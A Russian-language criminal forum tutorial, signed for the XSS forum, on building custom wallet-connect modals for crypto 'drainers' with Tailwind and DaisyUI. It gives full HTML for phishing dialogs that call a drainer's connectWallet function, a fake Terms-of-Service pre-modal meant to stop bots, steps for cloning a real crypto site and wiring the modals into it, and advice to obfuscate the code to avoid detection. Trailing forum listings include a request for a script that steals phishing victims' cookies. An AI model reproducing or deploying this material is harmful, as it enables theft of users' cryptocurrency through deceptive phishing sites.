Всем привет!

Часто вижу на форумах услугу по разработке модальных окон и дизайна для дрейнеров. Просят за подобное удовольствие от 150 долларов.
А связано появление таких услуг вот с чем:

  1. Дефолтные модалки "палятся" визуально. После пары десятков сайтов с дрейнером начинаешь узнавать их с первого клика

  2. Если мы имеем дело с фишами - дефолтные модалки достаточно сильно отличаются по стилю. Я молчу про цветовую гамму, иногда они даже по форме и расположению элементов выглядят не так, как надо (например у юнисвапа элемент подключения кошелька выезжает сбоку - что согласитесь отличается от белой всплывашки достаточно сильно)

  3. Бывают также логические нестыковки. Например, проект на который льем чисто полигоновский, а в окне подключения фигурирует Binance Smart Chain

Резюмируя - на мой взгляд, когда работаете с дрейнером, очень важно обладать хотя бы базовым набором знаний, чтобы иметь возможность настроить инструмент под себя, под свои задачи. Иначе КПД и конверсия сильно проседают.
Согласитесь, намного лучше потратить несколько минут и заточить нож, чем потом мучаться и нарезать продукты тупым инструментом.

Еще один момент касаемо модальных окон и логики работы дрейнера на сегодняшний день: как по мне, суть тут не только и не столько в дизайне, сколько в защите вашей системы от ботов. По сути, если в маркетинге есть слово преленд, то в нашем случае будет уместно использовать слово предрейн - именно такую функцию выполняет модальное окно и система подключения кошелька.

Собственно этим мы и займемся сегодня - научимся затачивать наши ножи и обороняться от нашествия ботов.

ПРОБЛЕМАТИКА

Для того, чтобы придти в точку Б, очень важно определить - а где мы сейчас вообще находимся? Какая отправная точка А и какую проблему мы пытаемся решить?
Чтобы не получилось так, что проблемы то и нет никакой, а решаем мы непонятно что и для чего.

Итак, проблематика:

  1. Боты научились подключаться к дрейнерам и слать фейковые аппрувы. Это вызывает эффект, который я условно называю "дрейн дрейна" - происходят регулярные вызовы к оценщику активов и как следствие - тратятся поинты в апи дебанка (анкера, заппера, подставить нужное), что черевато следующим:​
  • Слив баланса на аккаунте оценщика. И в целом это даже не так страшно и неприятно (хотя 200 баксов есть 200 баксов), если бы не было пункта два.​

  • Невозможность оценить активы реальных клиентов (так как баланс закончился из-за бесконечных запросов ботов) и как следствие - потенциальные убытки и недополученная прибыль​

  1. Вторая проблема - заезженность модалок. Как я уже сказал ранее - дефолтные модалки палятся. Так как продуктов на рынке не так много, через какое-то время юзеры уже знают, как выглядит модальное окно дрейнера (условно говоря детект по поведению) и не кликают, а сразу уходят с сайта. Этот момент мы тоже пофиксим.

Окей гугл, с проблематикой определились, пришло время поставить цель.

ЦЕЛЬ СТАТЬИ

Цели статьи мы поставим вот какие:

  1. Научиться создавать и редактировать модальное окно для нашего дрейнера
  2. Научиться менять его внешний вид (читай цветовую гамму)
  3. При этом научиться делать первые два пункта быстро и просто, без тонн javascript кода и CSS
  4. Выстроить базовую защиту от подключений фейковых юзеров, за счет изменения пути пользователя

Также сразу уточню - это статья не про то, как создать свой дрейнер, такую цель я не преследую и поэтому мы на берегу договоримся, что какой-то дрейнер у нас уже есть
А интересует нас в нем два момента, если быть точным - функция показа модального окна и собственно функция дрейнинга.
Поэтому условимся, что обе эти функции у нас есть и запишем их в импровизированное "Дано":

  1. Функция connectWallet, которая принимает аргумент provider и отвечает за подключение кошелька и старт процедуры дрейна
  2. Функция showDrainerModal, которая вызывается без параметров и отвечает за отображение модального окна с выбором кошелька для подключения

Допустим также, что сам алгоритм дрейнинга и инжект/вызов модалки у вас уже прописан ИЛИ вы имеете возможность его заменить в готовом продукте - то есть еще раз, дрейнер есть, мы правим готовый продукт.

ИНСТРУМЕНТАРИЙ

Поскольку дрейнеры в основном своем ориентированы на Web, то и стек обычно используется классический фронтовый - html/css/javascript.

Мы будем использовать ванильный джаваскрипт, чтобы не перегружать себе голову тайпскриптом и вот этим всем. Фреймворки типа реакта и вьюшки мы тоже дропаем, они нам тут ни к чему. Ну и системы сборки тоже. Короче говоря, мы возвращаемся к истокам и используем старую добрую ванильку, потому что это а) просто б) необходимый нам функционал достаточно примитивный.

А вот с CSS мы пойдем другим путем, а именно - возьмем готовую дизайн систему, чтобы "красиво было из коробки". Тут мнения и предпочтения фронтовых господ расходятся, кто-то предпочитает материал дизайн, кто-то ант, кто-то чакру. Мое же сердце касаемо фронтовой части принадлежит тэилвинду, потому что он, цитируя сайт, позволяет "быстро создавать современные вебсайты, не покидая свой HTML". И это правда так, сайты собираются быстро и выглядят сочно - это нам надо, это мы берем.

Собственнно что будем делать сегодня - сделаем заготовку для нашего модального окна с использованием Tailwind CSS и подготовим его для дальнейшей комфортной работы. Добавим дополнительную премодалку с галочкой про Terms of Service и тем самым сломаем (хотя бы ненадолго) алгоритмы ботов.

Поехали.

РЕШЕНИЕ ЗАДАЧИ

Первым делом подрубаем тэилвинд. Есть несколько способов сделать это, но самый простой - импорт через CDN, им и воспользуемся

HTML:Copy to clipboard

<script src="https://cdn.tailwindcss.com"></script>

Обратите внимание, нам также понадобится не только импортнуть сам тэилвинд, но и настроить конфиг. Пока возьмем дефолтный вариант-заглушку, и вернемся к нему чуть позже

HTML:Copy to clipboard

<script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            clifford: '#da373d',
          }
        }
      }
    }
  </script>

Далее подключаем надстройку над тэилвиндом - DaisyUI. Зачем? Несмотря на то, что тэилвинд и так сам по себе достаточно простой, мы пойдем еще более лайтовым путем - подрубим дейзи, чтобы иметь возможность генерировать новые темы прямо на сайте и подключать их в пару кликов.

Добавляем нужный тег над нашим тегом импорта Tailwind CSS.

HTML:Copy to clipboard

<link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />

Для наглядности будем использовать минималистичный скелетон сайта. Вот такая вот страничка у нас есть на текущий момент. Ничего лишнего - просто подключили все необходимое и добавили приветственную строку

HTML:Copy to clipboard

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdn.jsdelivr.net/npm/daisyui@3.9.1/dist/full.css" rel="stylesheet" type="text/css" />
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      theme: {
        extend: {
          colors: {
            clifford: '#da373d',
          }
        }
      }
    }
  </script>
</head>
<body>
  <h1 class="text-3xl font-bold underline **text-clifford**">
    Hello world!
  </h1>
</body>
</html>

Вся прелесть тэилвинда заключается в том, что мы работаем с разметкой (в прямом смысле - размещаем элементы и говорим как мы хотим чтобы они выглядели). И получается сразу красиво, из коробки. Концепция возможно спорная, но реально очень сильно ускоряет процесс сборки фронта - за счет того, что в CSS мы больше не лезем, а работаем на уровне классов.

Ну и как будто бы это более естественный путь - не лезть каждый раз в цсс, когда нужно скруглить углы у какого-то элемента, а просто добавить этому элементу класс "скругленные углы".

Окей, с подготовительной частью закончили, все подключили, теперь начнем накидывать наши элементы. Для начала добавим кнопку, при нажатии на которую будет открываться модальное окно, а также обернем весь контент body в теги div и сделаем выравнивание по высоте и ширине и небольшие отступы (это никак не влияет на функционал и тем более не требуется в продакшн версии - просто так выглядит поприятнее и работать удобнее, когда кнопка по центру экрана):

HTML:Copy to clipboard

  <div class="flex h-screen">
    <div class="m-auto space-y-4">
      <h1 class="text-3xl font-bold underline **text-clifford**">
        Hello world!
      </h1>
      <button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>
    </div>
  </div>

Выглядит наша страница вот так:

Screenshot at 2023-10-05 20-10-27.png

Теперь добавим основное модальное окно, а если точнее - добавим заготовку для него. Используем тег dialog , сразу же добавляем адаптивность. Также добавим заголовок "Connect wallet", сделаем его жирным. Чуть ниже напишем призыв к подключению кошелька - "Select which wallet and which network you want to use to connect below".

HTML:Copy to clipboard

<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
  <div class="modal-box">
    <h3 class="font-bold text-lg">Connect wallet</h3>
    <p class="py-4">Select which wallet and which network you want to use to connect below</p>
  </div>
</dialog>

Пока модалка выглядит весьма по-нищенски, но мы это скоро исправим.

Хинт: если вы хотите настроить расстояние между элементами, вам на помощь придет~~медвежонок Паддингтон~~ padding. Просто добавьте нужный класс (например py-4 задает расстояние сверху и снизу). А для выравнивания удобно использовать уже знакомые и привычные гриды и флексы.

Теперь пришло время добавить блоки с кошельками. Условимся что в нашем случае их будет четыре штуки:

  1. Метамаск
  2. Коинбейс
  3. Бинанс воллет
  4. Траст воллет

Естественно, это на ваш вкус и цвет, блоки можно добавлять/убирать, или вообще генерировать их программно в зависимости от ситуации.

Расположим их по две в столбец, соответственно накинем div с гридом из двух колонок и все будет отлично.

И внизу добавим кнопку для подключения по QR коду используя Wallet Connect (для всего остального и любителей мобильных кошельков).

HTML:Copy to clipboard

        <dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
              
              </button>

            </div>
            <div>
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>

У нас получается вот такая заготовка, которая в целом уже более менее напоминает модальное окно реального проекта.

Добавим красивости каждому элементу, а именно:

  1. Название кошелька
  2. Краткое описание
  3. Изображение

Тут в принципе все довольно тривиально, единственное на что хочу обратить внимание - класс object-contain, который сохраняет пропорции изображения при встраивании его в другие элементы (без него метамасковскую лису расплющит не по детски).

Немножко обмажем все флексами (для выравнивания по ширине) и результат уже радует.

HTML:Copy to clipboard

<div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>

Теперь немного пошаманим с кнопкой внизу - добавим нужный текст и растянем ее во всю ширину модального окна с помощью флекса.

HTML:Copy to clipboard

<div class="flex flex-col pt-8">
  <button class="btn btn-primary">
    Connect by QR-code
  </button>
</div>

И совсем для красивости сделаем еще две вещи. Во-первых, добавим в правый верхний угол кнопку закрытия (в виде традиционного крестика). Во-вторых, добавим небольшие отступы между нашими элементами с помощью уже знакомого паддинга (классы py-, pt- и pb- для отступов сверху и снизу, только сверху и только снизу соответственно).

HTML:Copy to clipboard

<form method="dialog">
  <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
</form>

Вот такое модальное окно у нас получилось.

Screenshot at 2023-10-05 20-27-24.png

Самое важное - не забыть повесить на все кнопки инициализацию нашего дрейнера. Для этого к каждому тегу button добавим атрибут onclick и пропишем в нее, согласно нашей заранее составленной договоренности, вызов функции connectWallet и передадим для каждой кнопки свой аргумент (этот момент можем считать псевдокодом, потому что функция и ее параметры зависят исключительно от вашего дрейнера и могут отличаться в зависимости от реализации).

Итоговый код основного модального окна выглядит так:

HTML:Copy to clipboard

<dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="connectWallet('metamask')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('coinbase')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('binance')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="connectWallet('trust')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>
            <div class="flex flex-col pt-8">
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>

А теперь совсем немного магии. Как возможно заметил вдумчивый и сразу практикующий читатель, все, что мы реализовали на текущий момент, можно было спокойно запилить на голом тэилвинде. Для чего же нам было подключать дейзи, спросите вы? И я отвечу коротко - ТЕМЫ.

Фишка первая - в Daisy UI из коробки встроено достаточно много тем. Это не просто стандартные светлая/темная, нам предлагают аж 29 штук на выбор. Смотреть тут (xttps://daisyui.com/docs/themes/). Не то чтобы какая-то прям суперфича, но ~~для бородатых бэкэндеров, которые шатали этот ваш фронт и хотят чтобы сразу было красиво~~ для новичков очень приятно и удобно.

Применить выбранную тему к нашему всплывающему окну (или отдельному элементу, или даже ко всей странице сразу) достаточно просто - нужно всего лишь добавить атрибут data-theme= "название_темы_тут" в нужный тег. Я для этой цели просто обернул наш тег dialog в еще один div.

Вторая приколюха - генератор тем прямо на сайте, вот тут (xttps://daisyui.com/theme-generator/). Можно сгенерить случайную тему, пропатчить существующую и вообще настроить все как душе угодно, и сразу увидеть результат, а именно - как будет выглядеть тот или иной элемент.

Вот для примера наше модальное окно с темой dark и с темой lemonade. Вопрос изменения одного слова во всем файле. Удобно, не правда ли?

Screenshot at 2023-10-05 20-33-19.png

Окей, теперь займемся нашим премодальным окном. Сразу небольшое уточнение, его задача - сломать алгоритм ботов и уберечь нашу систему от фейковых авторизаций, а наш организм - от преждевременных дофаминовых всплесков. Поэтому тут у вас полная свобода творчества и полет мысли и фантазии. Можно сделать капчу, пользовательское соглашение, запросить почту, да хоть банальную галочку "я не робот".
Я в демонстрационных целях сделаю модалку с небольшим абзацем текста про пользовательское соглашение, линком на него и чекбоксом. После активации чекбокса, кнопка перехода Далее тоже будет активироваться и уже вызывать основное модальное окно

Точно так же, как и в первый раз, создаем заготовку модального окна. А если точнее, не создаем, а копируем уже готовое основное окно, удаляем оттуда все лишнее и вставляем прямо перед первым тегом dialog. Таким образом оба наших модальных окна будут "обернуты" в одну тему (что как бы логично, нам так и надо).

HTML:Copy to clipboard

<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
       </div>
        </dialog>

Изменяем заголовок и добавляем ссылки на текст наших условий использования приложения/сервиса.

HTML:Copy to clipboard

<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#">Privacy Policy</a> and
              fake <a href="#">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary">
                  Continue
              </button>
            </div>
          </div>
        </dialog>

Добавляем чек бокс и текст к нему. Немного пошаманим над ссылками (ничего сверхъестественного, просто добавим класс underline, чтобы было понятно, что они кликабельные).

HTML:Copy to clipboard

<dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
              fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox">
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>
            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled">
                  Continue
              </button>
            </div>
          </div>
        </dialog>

Навешиваем небольшую анонимную стрелочную функцию на кнопку Continue, которая закрывает текущее модальное окно, и соответственно открывает основное.

HTML:Copy to clipboard

            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
                onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
                Continue
              </button>
            </div>

Также пишем небольшое выражение, которое активирует кнопку перехода при отмеченном чекбоксе, и соответственно дизейблит ее, если чекбокс не стоит. Используем для этого атрибут onchange.

HTML:Copy to clipboard

            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox"
                  onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>

Осталось только поменять событие onclick на кнопке, чтобы она вызывала премодальное окно.

Итак, целиком наша страница выглядит вот так.

HTML:Copy to clipboard

<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdn.jsdelivr.net/npm/daisyui@3.8.3/dist/full.css" rel="stylesheet" type="text/css" />
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      daisyui: {
        themes: true,
      },
    }
  </script>
</head>

<body>
  <div class="flex h-screen">
    <div class="m-auto space-y-4">
      <h1 class="text-3xl font-bold underline **text-clifford**">
        Hello world!
      </h1>

      <!-- DRAINER MODAL -->
      <button class="btn" onclick="my_pre_modal.showModal()">open modal</button>
      <div data-theme="dark">

        <dialog id="my_pre_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Terms of Sercive</h3>
            <p class="py-4">Blah-blah-blah, here's our awesome fake <a href="#" class="underline">Privacy Policy</a> and
              fake <a href="#" class="underline">Terms of Service</a>. Please, agree before we continue to steal your
              money.</p>

            <div class="form-control">
              <label class="label cursor-pointer">
                <input type="checkbox" class="checkbox"
                  onchange="document.getElementById('btn-to-continue').disabled = !this.checked;" />
                <span class="label-text">I totally agree with your awesome fake Privacy Policy and ToS</span>
              </label>
            </div>
            <div class="flex flex-col pt-8">
              <button id="btn-to-continue" class="btn btn-primary" disabled="disabled"
                onclick="(()=>{my_pre_modal.close();my_connect_modal.showModal()})()">
                Continue
              </button>
            </div>
          </div>
        </dialog>

        <dialog id="my_connect_modal" class="modal modal-bottom sm:modal-middle">
          <div class="modal-box">
            <form method="dialog">
              <button class="btn btn-sm btn-circle btn-ghost absolute right-2 top-2">✕</button>
            </form>
            <h3 class="font-bold text-lg">Connect wallet</h3>
            <p class="py-4">Select which wallet and which network you want to use to connect below</p>
            <h4 class="font-bold text-md pt-8 pb-4">Choose Wallet</h4>
            <div class="grid grid-cols-2 gap-4">

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md py-4">MetaMask</h4>
                  <p class="pb-2 font-light normal-case">Connect to your MetaMask wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md py-4">Coinbase</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Coinbase wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                  <h4 class="font-bold text-md py-4">Binance Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Binance wallet</p>
                </div>
              </button>

              <button class="btn h-auto" onclick="alert('DONE')">
                <div class="flex flex-col">
                  <img class="h-16 object-contain pt-2"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md py-4">Trust Wallet</h4>
                  <p class="pb-2 font-light normal-case">Connect to your Trust wallet</p>
                </div>
              </button>

            </div>
            <div class="flex flex-col pt-8">
              <button class="btn btn-primary">
                Connect by QR-code
              </button>
            </div>
          </div>
        </dialog>
      </div>
    </div>
  </div>


</body>

</html>

Screenshot at 2023-10-05 20-49-59.png

И тут есть очень важный для работы и понимания момент - а как это перенести на настоящий сайт? Ну допустим мы где-то нашли/позаимствовали/разработали с нуля сайт, как вот это модальное окно на него перенести? Давайте разберем этот момент, тут тоже все достаточно просто.

КАК ПОДКЛЮЧИТЬ К САЙТУ

Для демонстрационных целей я возьму рандомный крипто сайт и покажу как прицепить к нему нашу модалку (xttps://sunflower-land.com)

Копируем сайт с помощью saveweb2zip (xttps://saveweb2zip.com/en). Этот момент расписывать не буду, все достаточно очевидно - вставили ссылку, нажали скачать, получили архив. Также можно использовать wget или любой другой удобный для вас инструмент, тут принципиальной разницы нет. Главное - получить архив с сайтом и доступ к главной странице (обычно это index.html).

Открываем рядышком наш файл с модалками (донор) и наш свежескачанный сайт (реципиент).

Смотрим на наш файл с модалками. Тут есть несколько важных блоков - импорт всего нужного и собственно код. Импорты - переносим в head сайта реципиента. Основной код - в body. Кнопку вызова первого модального окна не переносим, потому что на сайте очевидно уже есть свои кнопки (100% есть, иначе для чего нам сайт без кнопок).

Чтобы все заработало, осталось подключить нужные кнопки на сайте (добавить функционал вызова премодального окна). Делаем это просто с помощью атрибута onclick.

HTML:Copy to clipboard

<button class="btn" onclick="my_pre_modal.showModal()">Open modal</button>

Итого у нас получился фейк сайт с подключенными к нему модальными окнами и дрейнером. Красота.

Выбираем из списка наиболее подходящую тему (или может быть даже делаем свою) и вперед, дрейнить на всю котлету.

ПОСЛЕСЛОВИЕ

Пролить дрейнер - это как нарезать продукты ножом. Нож требует заточки, и потратив немного времени на это действие, вы ощутимо сэкономите свои нервы и деньги в дальнейшем. Не поленитесь сделать "предпроливную" подготовку и привести свой инструмент в порядок.

Вот еще несколько рекомендаций, которые я могу дать:

  1. Замените названия функций вызова дрейнера и вызова модалки. Возможно вы об этом не задумывались, но боты могут не прокликивать кнопки, а вызывать js метод напрямую - он же импортируется в код и торчит известным местом наружу.

  2. Не храните критически важные данные на фронте (например свои ключи от дебанка или боже упаси приватные ключи от кошельков). Это кажется таким очевидным советом, но многие продолжают им пренебрегать.

  3. Обфусцируйте код. Для этого есть отличные онлайн инструменты (например обфускатор ио), немного потыкаться в настройки и на выходе нечитаемый лапшекод. Не важно это продакт или тестовый деплой - все что не на локалхосте должно быть обфусцировано сразу, чтобы избежать проблем и детектов в дальнейшем.

Что касается тэилвинда - не уверен, что в рамках одной статьи и на примерах с парой модалок удалось раскрыть его потенциал, но я искренне надеюсь, что сумел как минимум заинтересовать и побудить пощупать эту систему. Это достаточно мощный инструмент, который позволяет работать с фронтендом в стиле «говорить, что нужно сделать, вместо того, чтобы говорить как это сделать». Я пробовал материал, пробовал ант и чакру. И именно к тэилвинду питаю теплые и нежные чувства, потому что он реально позволяет делать то, что обещает - современные и красивые сайты быстро и без гемора.

Всем спасибо за внимание, надеюсь эта статья была полезной.
С радостью отвечу на ваши комментарии, и также выслушаю предложения для будущих статей в рамках моих компетенций.

В следующей статье расскажу, как используя ванильный js реализовать реферальную систему для трафферов.

P.S.
Как найти в сорцах вашего дрейнера код самой модалки?

Как я уже говорил, функционал разнится в зависимости от реализации. Обычно модалку инжектят в DOM, и ее код хранится в виде строки в самом js файле дрейнера (если он один, если же их несколько - в одном из них). Найти его можно полнотекстовым поиском по каким-то характерным параметрам, например по тегам "<div", "<p" и другим html элементам.

P.P.S
Бонусом покажу, как сделать выезжающее окно вместо модалки (как на сайте Uniswap). Такой элемент называется Drawer.

Выглядит он вот так:

Screenshot at 2023-10-05 20-50-59.png

И вот его исходный код.

HTML:Copy to clipboard

<!-- UNISWAP STYLE DRAWER -->
      <div class="drawer drawer-end">
        <input id="my-drawer-4" type="checkbox" class="drawer-toggle" />
        <div class="drawer-content">
          <label for="my-drawer-4" class="drawer-button btn btn-primary">Open drawer</label>
        </div>
        <div class="drawer-side">
          <label for="my-drawer-4" aria-label="close sidebar" class="drawer-overlay"></label>
          <div data-theme="dark" class="h-screen w-96">
            <div class="flex flex-col px-4">
              <h2 class="text-xl font-bold underline **text-clifford** py-4">Connect a wallet</h2>
              <div class="py-2 flex flex-col">
                <button class="btn h-auto py-2" onclick="alert('DONE')">
                  <img class="h-10 object-contain"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/240px-MetaMask_Fox.svg.png">
                  <h4 class="font-bold text-md">MetaMask</h4>
                </button>
              </div>

              <div class="py-2 flex flex-col">
                <button class="btn h-auto py-2" onclick="alert('DONE')">
                  <img class="h-4 object-contain"
                    src="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1a/Coinbase.svg/320px-Coinbase.svg.png">
                  <h4 class="font-bold text-md">Coinbase</h4>
                </button>
              </div>

             <div class="py-2 flex flex-col">
              <button class="btn h-auto py-2" onclick="alert('DONE')">
                <img class="h-10 object-contain"
                  src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Binance_Logo.svg/240px-Binance_Logo.svg.png">
                <h4 class="font-bold text-md">Binance Wallet</h4>
              </button>
             </div>

              <div class="py-2 flex flex-col">
                <button class="btn h-auto py-2" onclick="alert('DONE')">
                  <img class="h-10 object-contain"
                    src="https://trustwallet.com/assets/images/media/assets/trust_platform.png">
                  <h4 class="font-bold text-md">Trust Wallet</h4>
                </button>
              </div>

              <div class="py-2 flex flex-col">
                <p class="text-sm max-w-prose">Подключая кошелек, вы соглашаетесь с Uniswap Labs Условия использования и согласие на его Политика конфиденциальности. (Последнее обновление 6.7.23)</p>
              </div>
            </div>
          </div>
        </div>
      </div>

Такого не ожидает даже бывалый мамонт.

Патрик, эксклюзивно для XSS.​

Как стырить все куки(cookies)?
ID: 67668b27b4103b69df375d0e
Thread ID: 87730
Created: 2023-05-11T12:47:40+0000
Last Post: 2023-07-12T19:48:07+0000
Author: devilwithmoney
Replies: 16 Views: 1K

Всем привет!
Сразу оговорюсь, что еще новичок в веб-разработке на php, если мой вопрос покажется кому-то совсем азбучным.
Но вопрос вот в чем - я создал фиш-страницу с формой заполнения лог:пасс - какой скрипт мне нужно прописать чтобы все куки пользователя, перешедшего по моему линку, я смог у себя сохранить?
Заранее всем спасибо, кто не прошел мимо и конструктивно подсказал🤝

Посоветуйте курсы JavaScript
ID: 67668b27b4103b69df375d36
Thread ID: 74908
Created: 2022-10-30T12:16:51+0000
Last Post: 2022-12-31T00:06:02+0000
Author: costas_bro
Replies: 7 Views: 1K

Привет.
Хочу научиться к джс, посоветуйте курсы, уроки, или какие-то хакинги буду очень благодарен, мерси.

BTC into my js site
ID: 67668b27b4103b69df375d38
Thread ID: 72422
Created: 2022-08-30T03:04:04+0000
Last Post: 2022-12-12T19:54:40+0000
Author: artillery
Replies: 6 Views: 1K

How to implement a btc payment into my js store. If there's a source out there or tutor how to add btc payment into my site. I'm stuck

Как получить куки посетителя ?
ID: 67668b27b4103b69df375d41
Thread ID: 59175
Created: 2021-11-23T09:57:30+0000
